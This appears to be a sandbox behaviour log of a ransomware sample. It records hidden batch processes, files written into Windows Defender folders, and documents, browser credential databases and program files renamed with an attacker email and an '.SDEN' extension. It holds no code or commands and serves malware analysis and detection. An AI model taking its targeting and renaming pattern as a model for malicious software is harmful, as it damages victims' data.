File	Create	filename = C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0xce8, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0xe10, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0xf30, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x11f8, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn

Thread 0x119c

9980

0

»

Category	Operation	Information	Count	Logfile
System	Get Time	type = Ticks, time = 172234	1	Fn
System	Get Time	type = Performance Ctr, time = 17226607075	1	Fn
System	Get Time	type = Ticks, time = 172234	1	Fn
System	Get Time	type = Performance Ctr, time = 17226639721	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\content-prefs.sqlite, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\[SmartDen@protonmail.com].ARjNZbc3-GGbNn6zv.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172234	1	Fn
System	Get Time	type = Performance Ctr, time = 17226723854	1	Fn
System	Get Time	type = Ticks, time = 172234	1	Fn
System	Get Time	type = Performance Ctr, time = 17226750655	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cookies.sqlite, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\[SmartDen@protonmail.com].nimdT47p-Yg4RLd31.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17227814078	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17227843568	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\Outlook Files\kkcie@kdj.kd.pst, destination_filename = C:\Users\FD1HVy\Documents\Outlook Files\[SmartDen@protonmail.com].nRbBGIdF-9rFA0ZSj.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17227917429	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17227943869	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\HRt9zX--uxTxj7rs8.xls, destination_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\[SmartDen@protonmail.com].RxgzwjxI-uCw2GBhW.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228027322	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228053851	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\Vw9 cNao_kB.doc, destination_filename = C:\Users\FD1HVy\Documents\[SmartDen@protonmail.com].uofoCdKb-DaVNm0Ac.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228120487	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228147129	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\[SmartDen@protonmail.com].jcbjwgst-tPMpo3l3.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228213317	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228242837	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\ivYTDOP.pdf, destination_filename = C:\Users\FD1HVy\AppData\Roaming\[SmartDen@protonmail.com].vt70hHPA-8Fh1dkrM.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228312731	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228345298	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].IekHW64z-Aic92eL7.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228424681	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228451240	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].lKlVCyVz-o0WD8aAr.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228527402	1	Fn
System	Get Time	type = Ticks, time = 172250	1	Fn
System	Get Time	type = Performance Ctr, time = 17228554074	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].91BkO9Ug-VCjwxSZR.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17228660975	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17228688743	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\q1N9.jpg, destination_filename = C:\Users\FD1HVy\AppData\Roaming\[SmartDen@protonmail.com].JQlNqn5S-QRcfGh7C.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17228754301	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17228855329	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db, destination_filename = C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\[SmartDen@protonmail.com].Oac3gwWu-8TPUfdDz.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17228928596	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17228955038	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\Kw9XQh.jpg, destination_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\[SmartDen@protonmail.com].P1qInScJ-lqid8DYJ.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229058729	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229086978	1	Fn
File	Move	source_filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, destination_filename = C:\588bce7c90097ed212\[SmartDen@protonmail.com].N8mHC7nN-WAm6z3Xu.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229163878	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229190894	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cert8.db, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\[SmartDen@protonmail.com].JwLc3hbG-YymU2jWD.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229255365	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229282168	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\permissions.sqlite, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\[SmartDen@protonmail.com].IO6lkAGR-vhVtaX5g.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229333868	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229342687	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\6HQBe1Id.xlsx, destination_filename = C:\Users\FD1HVy\Documents\[SmartDen@protonmail.com].AEK3BNwj-BJBB20Zg.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229407436	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229415820	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\wx1gKcZ ARkXbsEtQ26.docx, destination_filename = C:\Users\FD1HVy\AppData\Roaming\[SmartDen@protonmail.com].xryt88Dp-uc6ann23.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229463653	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229473500	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\JXIUqqf 3E1.odt, destination_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\[SmartDen@protonmail.com].Zd5aRLaO-XeVulSzN.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229522181	1	Fn
System	Get Time	type = Ticks, time = 172265	1	Fn
System	Get Time	type = Performance Ctr, time = 17229530720	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\key3.db, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\[SmartDen@protonmail.com].hRGfoawo-BWJxkV8y.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
System	Get Time	type = Ticks, time = 173781	1	Fn
System	Get Time	type = Performance Ctr, time = 17380454352	1	Fn
System	Get Time	type = Ticks, time = 173781	1	Fn
System	Get Time	type = Performance Ctr, time = 17380464146	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\secmod.db, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\[SmartDen@protonmail.com].E1QApuoi-kYHYmOxg.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 173781	1	Fn
System	Get Time	type = Performance Ctr, time = 17380523090	1	Fn
System	Get Time	type = Ticks, time = 173781	1	Fn
System	Get Time	type = Performance Ctr, time = 17380532405	1	Fn
File	Move	source_filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, destination_filename = C:\588bce7c90097ed212\[SmartDen@protonmail.com].Xg7oJ1j3-sCv0FEVL.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 173781	1	Fn
System	Get Time	type = Performance Ctr, time = 17380580782	1	Fn
System	Get Time	type = Ticks, time = 173781	1	Fn
System	Get Time	type = Performance Ctr, time = 17380589334	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite, destination_filename = C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\[SmartDen@protonmail.com].G743yGT4-NzbP8NGx.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 173781	1	Fn
System	Get Time	type = Performance Ctr, time = 17380654085	1	Fn
System	Get Time	type = Ticks, time = 173781	1	Fn
System	Get Time	type = Performance Ctr, time = 17380662873	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\[SmartDen@protonmail.com].ILV1Y75Z-ofgB7bLG.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174125	1	Fn
System	Get Time	type = Performance Ctr, time = 17416095786	1	Fn
System	Get Time	type = Ticks, time = 174125	1	Fn
System	Get Time	type = Performance Ctr, time = 17416105837	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\zZn5.pdf, destination_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\[SmartDen@protonmail.com].isH41cGz-WqlDoxL9.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174140	1	Fn
System	Get Time	type = Performance Ctr, time = 17416178819	1	Fn
System	Get Time	type = Ticks, time = 174140	1	Fn
System	Get Time	type = Performance Ctr, time = 17416187945	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\index.sqlite, destination_filename = C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\[SmartDen@protonmail.com].vDC03qmh-rhP2LRSn.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174140	1	Fn
System	Get Time	type = Performance Ctr, time = 17416253024	1	Fn
System	Get Time	type = Ticks, time = 174140	1	Fn
System	Get Time	type = Performance Ctr, time = 17416261832	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\AccessCache.accdb, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\[SmartDen@protonmail.com].ZFyiTnIS-aOsneXoN.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174140	1	Fn
System	Get Time	type = Performance Ctr, time = 17417002519	1	Fn
System	Get Time	type = Ticks, time = 174140	1	Fn
System	Get Time	type = Performance Ctr, time = 17417012193	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\Database1.accdb, destination_filename = C:\Users\FD1HVy\Documents\[SmartDen@protonmail.com].oZypVQ8a-hfWhekc8.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440239966	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440253309	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].NXE3Q3VL-AKSapyzv.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440334766	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440345980	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\chrome\idb\[SmartDen@protonmail.com].3pXdQcOs-NtRlGDXw.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440599526	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440612062	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\ffjcext.zip, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\[SmartDen@protonmail.com].sipl8xcc-C96fK1rw.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440686796	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440698234	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\HV67.xlsx, destination_filename = C:\Users\FD1HVy\Documents\[SmartDen@protonmail.com].EmrIDhBT-Qhbcfd9z.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440764565	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440775797	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\xjYLW_hfZv1k8ab.docx, destination_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\[SmartDen@protonmail.com].0BiQJntx-SgM1I26z.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440844873	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440857204	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\qIJWv_cl3Fl.odt, destination_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\[SmartDen@protonmail.com].FpikgoFo-gyhMc9Dd.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440919297	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440930388	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\webappsstore.sqlite, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\[SmartDen@protonmail.com].Oh5RMS8D-LGHAzhUJ.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17440999696	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17441011173	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\YFbehrau7-I.xlsx, destination_filename = C:\Users\FD1HVy\Documents\[SmartDen@protonmail.com].KLDol5xU-307Qb1o6.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17441088340	1	Fn
System	Get Time	type = Ticks, time = 174375	1	Fn
System	Get Time	type = Performance Ctr, time = 17441099000	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\Xp8i-yDNo1to.docx, destination_filename = C:\Users\FD1HVy\Documents\[SmartDen@protonmail.com].vRQ15d57-LBPkc0ag.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441566205	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441578621	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage.sqlite, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\[SmartDen@protonmail.com].vmisbKVh-fSSORhCn.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441650246	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441661684	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\lO-5UKEm.xlsx, destination_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\[SmartDen@protonmail.com].hHsgUiKs-PzQlDHUf.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441728345	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441739455	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\N8Jr-vH1xH.docx, destination_filename = C:\Users\FD1HVy\Documents\[SmartDen@protonmail.com].FuKNWd1d-QdzRH5uP.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441805416	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441817021	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\dJ1D8WWJKN0vwRrX.xls, destination_filename = C:\Users\FD1HVy\AppData\Roaming\[SmartDen@protonmail.com].cSAWMB7e-XojLjpnY.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441884032	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441895223	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\yTvQERL.docx, destination_filename = C:\Users\FD1HVy\Documents\[SmartDen@protonmail.com].zspjGCB1-9TBuUobP.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441957918	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17441969022	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\[SmartDen@protonmail.com].eYrW8237-5swaPtXf.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17442053699	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17442064837	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\lH729p9NvtlORqAu.xlsx, destination_filename = C:\Users\FD1HVy\Documents\[SmartDen@protonmail.com].N6L8UhuG-s9jfXYI1.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17442129781	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17442140970	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\V4v0at7yeL46Y_CL.docx, destination_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\[SmartDen@protonmail.com].LAuDYDBh-uhJ7KvPZ.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17442204006	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17442215017	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\2-sCYYlXE1eIT.ods, destination_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\[SmartDen@protonmail.com].VesKr6XK-7cnx3WFu.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17442299515	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17442310308	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\[SmartDen@protonmail.com].tNv8Imlb-CGc0aEUg.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
System	Get Time	type = Performance Ctr, time = 17442371453	1	Fn
System	Get Time	type = Ticks, time = 174390	1	Fn
